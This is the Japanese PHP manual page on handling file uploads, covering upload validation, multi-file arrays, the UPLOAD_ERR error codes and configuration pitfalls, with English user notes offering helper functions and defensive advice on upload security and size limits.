例2 ファイルのアップロードを検証する

詳細については、is_uploaded_file() および move_uploaded_file() の関数のエントリも 参照ください。以下はフォームからファイルをアップロードするプロセスの例です。

<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "Possible file upload attack!\n";
}

echo 'Here is some more debugging info:';
print_r($_FILES);

print "</pre>";

?>

アップロードされたファイルを受け取る PHP スクリプトは、アップロード されたファイルを用いて何をするべきかを決めるために必要なロジックを 全て実装する必要があります。例えば、変数 $_FILES['userfile']['size'] を使用して、小さすぎたり 大きすぎたりするファイルを捨てることができます。指定した型以外の ファイルを全て捨てるために変数 $_FILES['userfile']['type'] を用いることができますが、 これはあくまでいくつかのチェックの中のひとつとしてのみ実行するように してください。なぜなら、この値を設定するのはあくまでもクライアントであり、 PHP 側では何もチェックしていないからです。 また、 $_FILES['userfile']['error'] を使用することができ、 エラーコード に基づき、ロジックを構成することができます。 何らかの方法により、テンポラリディレクトリからファイルを削除したり 他の場所に移動したりする必要があります。

フォームでアップロードされるファイルが選択されていない場合、PHP は $_FILES['userfile']['size'] として 0 を返し、 $_FILES['userfile']['tmp_name'] には値を 設定しません。

移動または名前の変更が行われていない場合、リクエストの終了時に そのファイルはテンポラリディレクトリから削除されます。

例3 ファイルの配列をアップロードする

PHP はファイルについても HTML フォームで配列を使用すること をサポートしています。

<form action="" method="post" enctype="multipart/form-data">
<p>Pictures:
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="submit" value="Send" />
</p>
</form>
<?php
foreach ($_FILES["pictures"]["error"] as $key => $error) {
    if ($error == UPLOAD_ERR_OK) {
        $tmp_name = $_FILES["pictures"]["tmp_name"][$key];
        // basename() で、ひとまずファイルシステムトラバーサル攻撃は防げるでしょう。
        // ファイル名についてのその他のバリデーションも、適切に行いましょう。
        $name = basename($_FILES["pictures"]["name"][$key]);
        move_uploaded_file($tmp_name, "data/$name");
    }
}
?>

ファイルアップロードのプログレスバーは、セッションのアップロードの進捗 で実装することができます。

User Contributed Notes

fravadona at gmail dot com 11-Apr-2020 11:13
mpyw is right, PSR-7 is awesome but a little overkill for simple projects (in my opinion).

Here's an example of function that returns the file upload metadata in a (PSR-7 *like*) normalized tree. This function deals with whatever dimension of upload metadata.

I kept the code extremely simple, it doesn't validate anything in $_FILES, etc... AND MOST IMPORTANTLY, it calls array_walk_recursive in an *undefined behaviour* way!!!

You can test it against the examples of the PSR-7 spec ( https://www.php-fig.org/psr/psr-7/#16-uploaded-files ) and try to add your own checks that will detect the error in the last example ^^

<?php
/**
 *  THIS CODE IS ABSOLUTELY NOT MEANT FOR PRODUCTION !!! MAY ITS INSIGHTS HELP YOU !!!
 */
function getNormalizedFiles()
{
  $normalized = array();

  if ( isset($_FILES) ) {

    foreach ( $_FILES as $field => $metadata ) {

      $normalized[$field] = array(); // needs initialization for array_replace_recursive

      foreach ( $metadata as $meta => $data ) { // $meta is 'tmp_name', 'error', etc...

        if ( is_array($data) ) {

          // insert the current meta just before each leaf !!! WRONG USE OF ARRAY_WALK_RECURSIVE !!!
          array_walk_recursive($data, function (&$v,$k) use ($meta) { $v = array( $meta => $v ); });

          // fuse the current metadata with the previous ones
          $normalized[$field] = array_replace_recursive($normalized[$field], $data);

        } else {
          $normalized[$field][$meta] = $data;
        }
      }
    }
  }
  return $normalized;
}
?>
katrinaelaine6 at gmail dot com 06-Nov-2017 06:16
Here's a complete example of the $_FILES array with nested and non-nested names. Let's say we have this html form:

<form action="test.php" method="post">

    <input type="file" name="single" id="single">

    <input type="file" name="nested[]"          id="nested_one">
    <input type="file" name="nested[root]"      id="nested_root">
    <input type="file" name="nested[][]"        id="nested_two">
    <input type="file" name="nested[][parent]"  id="nested_parent">
    <input type="file" name="nested[][][]"      id="nested_three">
    <input type="file" name="nested[][][child]" id="nested_child">

    <input type="submit" value="Submit">

</form>

In the test.php file:

<?php

    print_r($_FILES);
    exit;

?>

If we upload a text file with the same name as the input id for each input and click submit, test.php will output this:

<?php

Array
(

    [single] => Array
        (
            [name] => single.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpApO28i
            [error] => 0
            [size] => 3441
        )

    [nested] => Array
        (
            [name] => Array
                (
                    [0] => nested_one.txt
                    [root] => nested_root.txt
                    [1] => Array
                        (
                            [0] => nested_two.txt
                        )

                    [2] => Array
                        (
                            [parent] => nested_parent.txt
                        )

                    [3] => Array
                        (
                            [0] => Array
                                (
                                    [0] => nested_three.txt
                                )

                        )

                    [4] => Array
                        (
                            [0] => Array
                                (
                                    [child] => nested_child.txt
                                )

                        )

                )

            // type, tmp_name, size, and error will have the same structure.
        )

)

?>
Anonymous 21-Feb-2017 10:56
I have found it useful to re-order the multidimensional $_FILES array into a more intuitive format, as proposed by many other developers already.

Unfortunately, most of the proposed functions are not able to re-order the $_FILES array when it has more than 1 additional dimension.

Therefore, I would like to contribute the function below, which is capable of meeting the aforementioned requirement:

<?php
    function get_fixed_files() {
        $function = function($files, $fixed_files = array(), $path = array()) use (&$function) {
            foreach ($files as $key => $value) {
                $temp = $path;
                $temp[] = $key;

                if (is_array($value)) {
                    $fixed_files = $function($value, $fixed_files, $temp);
                } else {
                    $next = array_splice($temp, 1, 1);
                    $temp = array_merge($temp, $next);

                    $new = &$fixed_files;

                    foreach ($temp as $key) {
                        $new = &$new[$key];
                    }

                    $new = $value;
                }
            }

            return $fixed_files;
        };

        return $function($_FILES);
    }
?>

Side note: the unnamed function within the function is used to avoid confusion regarding the arguments necessary for the recursion within the function, for example when viewing the function in an IDE.
mpyw 24-Jul-2016 06:44
Do not use Coreywelch or Daevid's way, because their methods can handle only within two-dimensional structure. $_FILES can consist of any hierarchy, such as 3d or 4d structure.

The following example form breaks their codes:

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="files[x][y][z]">
    <input type="submit">
</form>

As the solution, you should use PSR-7 based zendframework/zend-diactoros.

GitHub:

https://github.com/zendframework/zend-diactoros

Example:

<?php

use Psr\Http\Message\UploadedFileInterface;
use Zend\Diactoros\ServerRequestFactory;

$request = ServerRequestFactory::fromGlobals();

if ($request->getMethod() !== 'POST') {
    http_response_code(405);
    exit('Use POST method.');
}

$uploaded_files = $request->getUploadedFiles();

if (
    !isset($uploaded_files['files']['x']['y']['z']) ||
    !$uploaded_files['files']['x']['y']['z'] instanceof UploadedFileInterface
) {
    http_response_code(400);
    exit('Invalid request body.');
}

$file = $uploaded_files['files']['x']['y']['z'];

if ($file->getError() !== UPLOAD_ERR_OK) {
    http_response_code(400);
    exit('File uploading failed.');
}

$file->moveTo('/path/to/new/file');

?>
coreywelch+phpnet at gmail dot com 17-Feb-2016 10:29
The documentation doesn't have any details about how the HTML array feature formats the $_FILES array.

Example $_FILES array:

For single file -

Array
(
    [document] => Array
        (
            [name] => sample-file.doc
            [type] => application/msword
            [tmp_name] => /tmp/path/phpVGCDAJ
            [error] => 0
            [size] => 0
        )
)

Multi-files with HTML array feature -

Array
(
    [documents] => Array
        (
            [name] => Array
                (
                    [0] => sample-file.doc
                    [1] => sample-file.doc
                )

            [type] => Array
                (
                    [0] => application/msword
                    [1] => application/msword
                )

            [tmp_name] => Array
                (
                    [0] => /tmp/path/phpVGCDAJ
                    [1] => /tmp/path/phpVGCDAJ
                )

            [error] => Array
                (
                    [0] => 0
                    [1] => 0
                )

            [size] => Array
                (
                    [0] => 0
                    [1] => 0
                )

        )

)

The problem occurs when you have a form that uses both single file and HTML array feature. The array isn't normalized and tends to make coding for it really sloppy. I have included a nice method to normalize the $_FILES array.

<?php

    function normalize_files_array($files = []) {

        $normalized_array = [];

        foreach($files as $index => $file) {

            if (!is_array($file['name'])) {
                $normalized_array[$index][] = $file;
                continue;
            }

            foreach($file['name'] as $idx => $name) {
                $normalized_array[$index][$idx] = [
                    'name' => $name,
                    'type' => $file['type'][$idx],
                    'tmp_name' => $file['tmp_name'][$idx],
                    'error' => $file['error'][$idx],
                    'size' => $file['size'][$idx]
                ];
            }

        }

        return $normalized_array;

    }

?>

The following is the output from the above method.

Array
(
    [document] => Array
        (
            [0] => Array
                (
                [name] => sample-file.doc
                    [type] => application/msword
                    [tmp_name] => /tmp/path/phpVGCDAJ
                    [error] => 0
                    [size] => 0
                )

        )

    [documents] => Array
        (
            [0] => Array
                (
                    [name] => sample-file.doc
                    [type] => application/msword
                    [tmp_name] => /tmp/path/phpVGCDAJ
                    [error] => 0
                    [size] => 0
                )

            [1] => Array
                (
                    [name] => sample-file.doc
                    [type] => application/msword
                    [tmp_name] => /tmp/path/phpVGCDAJ
                    [error] => 0
                    [size] => 0
                )

        )

)
anon 08-Jul-2015 10:19
For clarity; the reason you would NOT want to replace the example script with
$uploaddir = './';
is because if you have no coded file constraints a nerd could upload a php script with the same name of one of your scripts in the scripts directory.

Given the right settings and permissions php-cgi is capable of replacing even php files.

Imagine if it replaced the upload post processor file itself. The next "upload" could lead to some easy exploits.

Even when replacements are not possible; uploading an .htaccess file could cause some problems, especially if it is sent after the nerd throws in a devious script to use htaccess to redirect to his upload.

There are probably more ways of exploiting it. Don't let the nerds get you.

More sensible to use a fresh directory for uploads with some form of unique naming algorithm; maybe even a cron job for sanitizing the directory so older files do not linger for too long.
bimal at sanjaal dot com 26-Dec-2014 11:44
Some suggestions here:

1. It is always better to check for your error status. If MAX_FILE_SIZE is active and the uploaded file crossed the limit, it will set the error. So, only when error is zero (0), move the file.

2. If possible, never allow your script to upload in the path where file can be downloaded. Point your upload path to outside of public_html area or prevent direct browsing (using .htaccess restrictions). Think, if someone uploads malicious code, specially php codes, they will be executed on the server.

3. Do not use the file name sent by the client. Regenerate a new name for newly uploaded file. This prevents overwriting your old files.

4. Regularly track the disk space consumed, if you are running out of storage.
Age Bosma 10-Jun-2011 02:49
"If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none."

Note that the situation above is the same when a file exceeding the MAX_FILE_SIZE hidden field is being uploaded. In this case $_FILES['userfile']['size'] is also set to 0, and $_FILES['userfile']['tmp_name'] is also empty. The difference would only be the error code.
Simply checking for these two conditions and assuming no file upload has been attempted is incorrect.

Instead, check if $_FILES['userfile']['name'] is set or not. If it is, a file upload has at least been attempted (a failed attempt or not). If it is not set, no attempt has been made.
Mark 29-Sep-2010 04:12
$_FILES will be empty if a user attempts to upload a file greater than post_max_size in your php.ini

post_max_size should be >= upload_max_filesize in your php.ini.
daevid at daevid dot com 11-Jun-2009 02:35
I think the way an array of attachments works is kind of cumbersome. Usually the PHP guys are right on the money, but this is just counter-intuitive. It should have been more like:

Array
(
    [0] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/phpn3FmFr
            [error] => 0
            [size] => 15476
        )

    [1] => Array
        (
            [name] =>
            [type] =>
            [tmp_name] =>
            [error] => 4
            [size] =>
        )
)

and not this
Array
(
    [name] => Array
        (
            [0] => facepalm.jpg
            [1] =>
        )

    [type] => Array
        (
            [0] => image/jpeg
            [1] =>
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpn3FmFr
            [1] =>
        )

    [error] => Array
        (
            [0] => 0
            [1] => 4
        )

    [size] => Array
        (
            [0] => 15476
            [1] => 0
        )
)

Anyways, here is a fuller example than the sparce one in the documentation above:

<?php
foreach ($_FILES["attachment"]["error"] as $key => $error)
{
       $tmp_name = $_FILES["attachment"]["tmp_name"][$key];
       if (!$tmp_name) continue;

       $name = basename($_FILES["attachment"]["name"][$key]);

    if ($error == UPLOAD_ERR_OK)
    {
        if ( move_uploaded_file($tmp_name, "/tmp/".$name) )
            $uploaded_array[] .= "Uploaded file '".$name."'.<br/>\n";
        else
            $errormsg .= "Could not move uploaded file '".$tmp_name."' to '".$name."'<br/>\n";
    }
    else $errormsg .= "Upload error. [".$error."] on file '".$name."'<br/>\n";
}
?>
eslindsey at gmail dot com 29-Mar-2009 11:09
Also note that since MAX_FILE_SIZE hidden field is supplied by the browser doing the submitting, it is easily overridden from the clients' side.  You should always perform your own examination and error checking of the file after it reaches you, instead of relying on information submitted by the client.  This includes checks for file size (always check the length of the actual data versus the reported file size) as well as file type (the MIME type submitted by the browser can be inaccurate at best, and intentionally set to an incorrect value at worst).
claude dot pache at gmail dot com 19-Mar-2009 09:26
Note that the MAX_FILE_SIZE hidden field is only used by the PHP script which receives the request, as an instruction to reject files larger than the given bound. This field has no significance for the browser, it does not provide a client-side check of the file-size, and it has nothing to do with web standards or browser features.


エラーメッセージの説明

PHP はファイル配列とともに適当なエラーコードを返します。 エラーコードは、PHP によるファイルアップロードの間に生成され、 ファイル配列の['error'] 要素で アクセス可能です。言い換えると、エラーは、 $_FILES['userfile']['error'] でアクセス可能でしょう。

UPLOAD_ERR_OK

値: 0; エラーはなく、ファイルアップロードは成功しています。

UPLOAD_ERR_INI_SIZE

値: 1; アップロードされたファイルは、php.ini の upload_max_filesize ディレクティブの値を超えています。

UPLOAD_ERR_FORM_SIZE

値: 2; アップロードされたファイルは、HTML フォームで指定された MAX_FILE_SIZE を超えています。

UPLOAD_ERR_PARTIAL

値: 3; アップロードされたファイルは一部のみしかアップロードされていません。

UPLOAD_ERR_NO_FILE

値: 4; ファイルはアップロードされませんでした。

UPLOAD_ERR_NO_TMP_DIR

値: 6; テンポラリフォルダがありません。PHP 5.0.3 で導入されました。

UPLOAD_ERR_CANT_WRITE

値: 7; ディスクへの書き込みに失敗しました。PHP 5.1.0 で導入されました。

UPLOAD_ERR_EXTENSION

値: 8; PHP の拡張モジュールがファイルのアップロードを中止しました。 どの拡張モジュールがファイルアップロードを中止させたのかを突き止めることはできません。 読み込まれている拡張モジュールの一覧を phpinfo() で取得すれば参考になるでしょう。 PHP 5.2.0 で導入されました。

User Contributed Notes

jalcort at att dot net 07-Feb-2020 03:57
When uploading a file, it is common to visit the php.ini and set up upload_tmp_dir = /temp but in the case of some web hostess as fatcow you need to direct not only /tmp but upload_tmp_dir = /hermes/walnaweb13a/b345/moo.youruser/tmp

If not the $_FILES show you an error #6 "Missing a temporary folder
admin at compumatter dot com 14-Dec-2019 07:42
We use this function to handle file uploads.

Since $_FILES allows for more than a single file, this loops through each file and if there's an error, it is displayed in human readable language to the error log and then returned / exited.  You can adjust that to echo's if preferred:

function file_upload_test($messageBefore="CM FILE UPLOAD MESSAGE"){
    global $_FILES;
    # a single file limit
    $upload_max_size = ini_get('upload_max_filesize');
    # the combination of a batch o multiple files
    $post_max_size = ini_get('post_max_size');
    # array of possible fails which are retuned below in if $key=error section
    $phpFileUploadErrors = array(
        0 => 'There is no error, the file uploaded with success',
        1 => 'Exceeds php.ini upload_max_filesize of '.$upload_max_size.'MB',
        2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
        3 => 'The uploaded file was only partially uploaded',
        4 => 'No file was uploaded',
        6 => 'Missing a temporary folder',
        7 => 'Failed to write file to disk.',
        8 => 'A PHP extension stopped the file upload.',
    );

    error_log("========================================");
    error_log("$messageBefore");
    error_log("========================================");
    foreach ($_FILES['cmmediabrowsedfor'] as $key => $value) {
       ${$key}=$value;
       error_log('$_FILES ['.$key.'] = ['.$value.']');
       if(is_array($value)){
            foreach ($value as $key2 => $value2) {
                error_log('   >   $_FILES ['.$key.']['.$key2.'] = '.$value2);
                if($key=='error'){
                     error_log('   ******* CM Failed Upload: '.$phpFileUploadErrors[$value2]);
                     error_log('           Exit / Return in plugins/cm-alpha/php/images/img-create-tmp.php');
                     error_log(' ');
                     exit;
                }
            }
       }
    }
    if(!file_exists($_FILES["cmmediabrowsedfor"]["tmp_name"][0]) || !is_uploaded_file($_FILES["cmmediabrowsedfor"]["tmp_name"][0])) {
        error_log("NO FILE GOT UPLOADED ");
    } else {
        error_log("SUCCESS FILE GOT UPLOADED ");
    }
}
roger dot vermeir at nokia dot com 17-Sep-2018 03:51
Just found out that it is very important to define the
input type="hidden" name="MAX_FILE_SIZE" value=...
AFTER defining the input type="FILE" name=...
in your html/php.
If you swap them around, you will keep getting the filesize exceeded (error 2)!
Hope this helps.
Roger
roland at REMOVE_ME dot mxchange dot org 22-Mar-2018 05:03
I have expanded @adam at gotlinux dot us's example a bit with proper UPLOAD_FOO constants and gettext support. Also UPLOAD_ERR_EXTENSION is added (was missing in his version). Hope this helps someone.

<?php
class Some {
    /**
     * Upload error codes
     * @var array
     */
    private static $upload_errors = [];

    public function __construct() {
        // Init upload errors
        self::$upload_errors = [
            UPLOAD_ERR_OK => _('There is no error, the file uploaded with success.'),
            UPLOAD_ERR_INI_SIZE => _('The uploaded file exceeds the upload_max_filesize directive in php.ini.'),
            UPLOAD_ERR_FORM_SIZE => _('The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.'),
            UPLOAD_ERR_PARTIAL => _('The uploaded file was only partially uploaded.'),
            UPLOAD_ERR_NO_FILE => _('No file was uploaded.'),
            UPLOAD_ERR_NO_TMP_DIR => _('Missing a temporary folder.'),
            UPLOAD_ERR_CANT_WRITE => _('Cannot write to target directory. Please fix CHMOD.'),
            UPLOAD_ERR_EXTENSION => _('A PHP extension stopped the file upload.'),
        ];
    }
}
?>
viseth10 at gmail dot com 21-Aug-2017 01:31
[Well just a little note. ]
That UploadException class example posted on top by anonymous is great. It works good. But there is a certain problem. You know there are two sides to generating errors.
First -> for the client side.
Second -> for the developers who will use your script

But i see only one side to generating Exceptions. ie For the developers.

Why ? Because when you generate an Exception, your script will come to an halt and do whatever you have defined in catch clause.
Now you dont want any client to see the Exception, do you ? I will not. The client will want to know what error occured in simple words they can understand instead of wanting their web app crashed if upload fails. So,  dont generate exceptions. These errors should be collected and shown to client in an elegant way. That's a little advice.
Keep developing smarter.
Tom 05-Jan-2015 03:29
As it is common to use move_uploaded_file with file uploads, how to get it's error messages should be noted here (especially since it's not noted anywhere else in the manual).
Common code is to do something like:
 if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_file)) {
      echo "<P>FILE UPLOADED TO: $target_file</P>";
   } else {
      echo "<P>MOVE UPLOADED FILE FAILED!!</P>";
      print_r(error_get_last());
   }
rlerne at gmail dot com 26-Sep-2014 09:11
This updates "adam at gotlinux dot us" above and makes it version aware, and also adds newer constants to the array.

The reason we want to check the version is that the constants are not defined in earlier versions, and they appear later in the array. They would effectively overwrite the "0" index (no error) with an error message when the file actually uploaded fine.

It also drops the constant's value (0,1,2, etc) for the errors, in the likely event that they are changed later (the code should still work fine).

<?php

$upload_errors = array(
    0                        => "There is no error, the file uploaded with success"
    ,UPLOAD_ERR_INI_SIZE    => "The uploaded file exceeds the upload_max_filesize directive in php.ini"
    ,UPLOAD_ERR_FORM_SIZE    => "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
    ,UPLOAD_ERR_PARTIAL        => "The uploaded file was only partially uploaded"
    ,UPLOAD_ERR_NO_FILE        => "No file was uploaded"
);

if (version_compare(PHP_VERSION, '5.0.3') >= 0)
    $upload_errors[UPLOAD_ERR_NO_TMP_DIR] = "Missing a temporary folder";

if (version_compare(PHP_VERSION, '5.1.0') >= 0)
    $upload_errors[UPLOAD_ERR_CANT_WRITE] = "Failed to write to disk";

if (version_compare(PHP_VERSION, '5.2.0') >= 0)
    $upload_errors[UPLOAD_ERR_EXTENSION] = "File upload stopped by extension";
?>
Viktor 17-Sep-2014 09:14
Update to Adams old comment.

This is probably useful to someone.

<?php

$phpFileUploadErrors = array(
    0 => 'There is no error, the file uploaded with success',
    1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
    2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
    3 => 'The uploaded file was only partially uploaded',
    4 => 'No file was uploaded',
    6 => 'Missing a temporary folder',
    7 => 'Failed to write file to disk.',
    8 => 'A PHP extension stopped the file upload.',
);
Jeff Miner mrjminer AT gmail DOT com 10-Aug-2010 01:32
One thing that is annoying is that the way these constant values are handled requires processing no error with the equality, which wastes a little bit of space.  Even though "no error" is 0, which typically evaluates to "false" in an if statement, it will always evaluate to true in this context.

So, instead of this:
-----
<?php
if($_FILES['userfile']['error']) {
  // handle the error
} else {
  // process
}
?>
-----
You have to do this:
-----
<?php
if($_FILES['userfile']['error']==0) {
  // process
} else {
  // handle the error
}
?>
-----
Also, ctype_digit fails, but is_int works.  If you're wondering... no, it doesn't make any sense.

To Schoschie:

You ask the question:  Why make stuff complicated when you can make it easy?  I ask the same question since the version of the code you / Anonymous / Thalent (per danbrown) have posted is unnecessary overhead and would result in a function call, as well as a potentially lengthy switch statement.  In a loop, that would be deadly... try this instead:

-----
<?php
$error_types = array(
1=>'The uploaded file exceeds the upload_max_filesize directive in php.ini.',
'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.',
'The uploaded file was only partially uploaded.',
'No file was uploaded.',
6=>'Missing a temporary folder.',
'Failed to write file to disk.',
'A PHP extension stopped the file upload.'
);

// Outside a loop...
if($_FILES['userfile']['error']==0) {
  // process
} else {
  $error_message = $error_types[$_FILES['userfile']['error']];
  // do whatever with the error message
}

// In a loop...
for($x=0,$y=count($_FILES['userfile']['error']);$x<$y;++$x) {
  if($_FILES['userfile']['error'][$x]==0) {
    // process
  } else {
    $error_message = $error_types[$_FILES['userfile']['error'][$x]];
    // Do whatever with the error message
  }
}

// When you're done... if you aren't doing all of this in a function that's about to end / complete all the processing and want to reclaim the memory
unset($error_types);
?>
Tom 09-Aug-2010 03:06
Note: something that might surprise you, PHP also provides a value in the $_FILES array, if the input element has no value at all, stating an error UPLOAD_ERR_NO_FILE.

So UPLOAD_ERR_NO_FILE is not an error, but a note that the input element just had no value. Thus you can't rely on the $_FILES array to see if a file was provided. Instead you have to walk the array and check every single damn entry - which can be quite difficult since the values may be nested if you use input elements named like "foo[bar][bla]".

Seems like PHP just introduced you to yet another common pitfall.
jille at quis dot cx 24-May-2009 08:12
UPLOAD_ERR_PARTIAL is given when the mime boundary is not found after the file data. A possibly cause for this is that the upload was cancelled by the user (pressed ESC, etc).
Anonymous 04-Mar-2009 06:32
[EDIT BY danbrown AT php DOT net: This code is a fixed version of a note originally submitted by (Thalent, Michiel Thalen) on 04-Mar-2009.]

This is a handy exception to use when handling upload errors:

<?php

class UploadException extends Exception
{
    public function __construct($code) {
        $message = $this->codeToMessage($code);
        parent::__construct($message, $code);
    }

    private function codeToMessage($code)
    {
        switch ($code) {
            case UPLOAD_ERR_INI_SIZE:
                $message = "The uploaded file exceeds the upload_max_filesize directive in php.ini";
                break;
            case UPLOAD_ERR_FORM_SIZE:
                $message = "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form";
                break;
            case UPLOAD_ERR_PARTIAL:
                $message = "The uploaded file was only partially uploaded";
                break;
            case UPLOAD_ERR_NO_FILE:
                $message = "No file was uploaded";
                break;
            case UPLOAD_ERR_NO_TMP_DIR:
                $message = "Missing a temporary folder";
                break;
            case UPLOAD_ERR_CANT_WRITE:
                $message = "Failed to write file to disk";
                break;
            case UPLOAD_ERR_EXTENSION:
                $message = "File upload stopped by extension";
                break;

            default:
                $message = "Unknown upload error";
                break;
        }
        return $message;
    }
}

// Use
 if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
//uploading successfully done
} else {
throw new UploadException($_FILES['file']['error']);
}
?>
info at foto50 dot com 03-Jul-2007 02:03
For those reading this manual in german (and/or probably some other languages) and you miss error numbers listed here, have a look to the english version of this page ;)
belowtherim2000 at yahoo dot com 20-Jun-2007 06:25
I've been playing around with the file size limits and with respect to the post_max_size setting, there appears to be a hard limit of 2047M.  Any number that you specify above that results in a failed upload without any informative error describing what went wrong.  This happens regardless of how small the file you're uploading may be.  On error, my page attempts to output the name of the original file.  But what I discovered is that this original file name, which I maintained in a local variable, actually gets corrupted.  Even my attempt to output the error code in $_FILES['uploadedfiles']['error'] returns an empty string/value.

Hopefully, this tidbit will save someone else some grief.
svenr at selfhtml dot org 23-Apr-2007 03:15
Clarification on the MAX_FILE_SIZE hidden form field and the UPLOAD_ERR_FORM_SIZE error code:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
web att lapas dott id dott lv 23-Feb-2007 05:49
1. And what about multiple file upload ? - If there is an UPLOAD_ERR_INI_SIZE error with multiple files - we can`t detect it normaly ? ...because that we have an array, but this error returns null and can`t use foreach. So, by having a multiple upload, we can`t normaly inform user about that.. we can just detect, that sizeof($_FILES["file"]["error"]) == 0 , but we can`t actualy return an error code. The max_file_size also is not an exit, becouse it refers on each file seperatly, but upload_max_filesize directive in php.ini refers to all files together. So, for example, if upload_max_filesize=8Mb , max_file_size = 7Mb and one of my files is 6.5Mb and other is 5Mb, it exeeds the upload_max_filesize - cant return an error, becouse we don`t know where to get that error.
Unfortunately we cannot get the file sizes on client side, even AJAX normaly can`t do that.

2. If in file field we paste something, like, D:\whatever , then there also isn`t an error to return in spite of that no such file at all.
stephen at poppymedia dot co dot uk 26-Sep-2005 03:05
if post is greater than post_max_size set in php.ini

$_FILES and $_POST will return empty
adam at gotlinux dot us 27-May-2005 07:28
This is probably useful to someone.

<?php
array(
        0=>"There is no error, the file uploaded with success",
        1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini",
        2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
        3=>"The uploaded file was only partially uploaded",
        4=>"No file was uploaded",
        6=>"Missing a temporary folder"
);
?>
sysadmin at cs dot fit dot edu 15-Feb-2005 07:13
I noticed that on PHP-4.3.2 that $_FILES can also not be set if the file uploaded exceeds the limits set by upload-max-filesize in the php.ini, rather than setting error $_FILES["file"]["error"]
krissv at ifi.uio.no 27-Jan-2005 04:11
When $_FILES etc is empty like Dub spencer says in the note at the top and the error is not set, that might be because the form enctype isnt sat correctly. then nothing more than maybe a http server error happens.

enctype="multipart/form-data" works fine
Dub Spencer 26-Nov-2004 06:56
Upload doesnt work, and no error?

actually, both $_FILES and $_REQUEST in the posted to script are empty?

just see, if  "post_max_size" is lower than the data you want to load.

in the apache error log, there will be an entry like "Invalid method in request". and in the access log, there will be two requests: one for the POST, and another that starts with all "----" and produces a 501.
tyler at fishmas dot org 03-Nov-2004 07:08
In regards to the dud filename being sent, a very simple way to check for this is to check the file size as well as the file name.  For example, to check the file size simple use the size attribute in your file info array:

<?php
if($_FILES["file_id"]["size"]  == 0)
{
         // ...PROCESS ERROR
}
?>


陥りやすい落とし穴

MAX_FILE_SIZE の値に、php.ini の upload_max_filesize で指定されたファイルサイズより大きなファイルサイズを指定する ことはできません。デフォルトは、2 メガバイトです。

メモリ制限が有効な場合、memory_limit の値をより大きく 設定することが必要となる可能性があります。 memory_limit に充分大きな 値を設定するようにしてください。

max_execution_time に設定した値が小さすぎた場合、スクリプトの実行時間がこの値を越える 可能性を生じます。 max_execution_time に充分大きな値を設定するように してください。

注意: max_execution_time はスクリプト自身の実行時間にのみ影響します。 スクリプトの実行範囲の外側で発生する動作にかかる時間、つまり、 system() を使ったシステムコールや、 sleep() 関数、データベースに対するクエリー、 ファイルアップロードプロセス、などに費やされた時間はスクリプトの 総実行時間に含まれません。

警告

max_input_time は、スクリプトで入力を受け付けることができる最大秒数を設定します。 この秒数には、ファイルアップロードの時間も含まれます。 大きなファイルや複数のファイルをアップロードしたり接続に時間を要したりする場合は、 デフォルト値の 60 seconds を増やしましょう。

post_max_size の設定値が 小さすぎた場合、大きなファイルをアップロードすることができなくなります。 post_max_size に充分大きな値を設定するように してください。

PHP 5.2.12 以降、 max_file_uploads は一回のリクエストあたりでアップロードできるファイルの数の制限値となります。 この制限を超える数のファイルをアップロードしようとすると、制限に達した時点で $_FILES は処理を停止します。たとえば max_file_uploads が 10 の場合には、$_FILES には 10 件までの要素しか入らないということです。

処理するファイルを検証しない場合、ユーザーが他のディレクトリにある 非公開情報にアクセスできる可能性を生じます。

CERN httpd は、クライアントから得た content-type MIME ヘッダにおいて最初が空白文字で始まるものを切り捨てるようですので注意してください。 このような動作をする限り、CERN httpdは、 ファイルアップロード機能をサポートしないでしょう。

大量のディレクトリ一覧のスタイルのせいで、 風変わりな名前（空白を含んでいるとか）のファイルを適切に扱えることは 保証できません。

通常の input フィールドとファイルアップロードフィールドを (input の name に foo[] を利用するなどして) 同一のフォーム変数で扱うことはできません。

User Contributed Notes

adrien.nizon+phpnet at gmail dot com 09-Sep-2016 07:48
[Editor's note: to be more precise, MAX_FILE_SIZE can't exceed PHP_INT_MAX before PHP 7.1.]

Please note that the field MAX_FILE_SIZE cannot exceed 2147483647. Any greater value will lead to an upload error that will be displayed at the end of the upload

This is explained by the related C code :
if (!strcasecmp(param, "MAX_FILE_SIZE")) {
    max_file_size = atol(value);
}

The string is converted into a long int, which max value is... 2147483647

